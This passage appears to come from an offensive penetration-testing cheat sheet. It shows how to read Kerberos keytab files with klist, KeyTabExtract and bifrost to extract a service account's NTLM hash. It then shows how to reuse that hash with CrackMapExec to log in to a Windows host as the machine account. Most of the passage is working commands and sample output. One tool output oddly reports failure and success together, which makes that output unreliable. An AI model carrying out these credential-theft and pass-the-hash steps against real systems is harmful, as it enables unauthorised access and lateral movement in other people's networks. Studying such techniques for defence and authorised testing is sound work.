The service keys used by services that run as root are usually stored in the keytab file /etc/krb5.keytab. This service key is the equivalent of the service's password, and must be kept secure.
Use klist to read the keytab file and parse its content. The key that you see when the key type is 23 is the actual NT Hash of the user.
$ klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
[...]
[26] Service principal: host/COMPUTER@DOMAIN
KVNO: 25
Key type: 23
Key: 31d6cfe0d16ae931b73c59d7e0c089c0
Time stamp: Oct 07, 2019 09:12:02
[...]
On Linux you can use KeyTabExtract: we want RC4 HMAC hash to reuse the NLTM hash.
$ python3 keytabextract.py krb5.keytab
[!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck
[+] Keytab File successfully imported.
REALM : DOMAIN
SERVICE PRINCIPAL : host/computer.domain
NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky
On macOS you can use bifrost.
./bifrost -action dump -source keytab -path test
Connect to the machine using the account and the hash with CME.
$ crackmapexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "31d6cfe0d16ae931b73c59d7e0c089c0" -d "DOMAIN"
CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae931b73c59d7e0c089c0
